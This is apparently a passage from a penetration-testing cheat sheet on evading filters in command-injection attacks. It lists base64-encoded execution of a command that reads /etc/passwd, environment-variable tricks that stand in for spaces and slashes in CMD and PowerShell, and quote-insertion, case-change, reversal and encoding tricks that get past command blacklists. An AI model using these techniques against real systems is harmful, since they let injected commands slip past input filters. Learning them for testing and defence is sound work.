echo -n 'cat /etc/passwd | grep 33' | base64Encode a string with base64
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)Execute b64 encoded string

Windows

Filtered Character Bypass

CodeDescription
Get-ChildItem Env:Can be used to view all environment variables - (PowerShell)
Spaces
%09Using tabs instead of spaces
%PROGRAMFILES:~10,-5%Will be replaced with a space - (CMD)
$env:PROGRAMFILES[10]Will be replaced with a space - (PowerShell)
Other Characters
%HOMEPATH:~0,-17%Will be replaced with \ - (CMD)
$env:HOMEPATH[0]Will be replaced with \ - (PowerShell)

Blacklisted Command Bypass

CodeDescription
Character Insertion
' or "Total must be even
^Windows only (CMD)
Case Manipulation
WhoAmiSimply send the character with odd cases
Reversed Commands
"whoami"[-1..-20] -join ''Reverse a string
iex "$('imaohw'[-1..-20] -join '')"Execute reversed command
Encoded Commands
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))Encode a string with base64
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"Execute b64 encoded string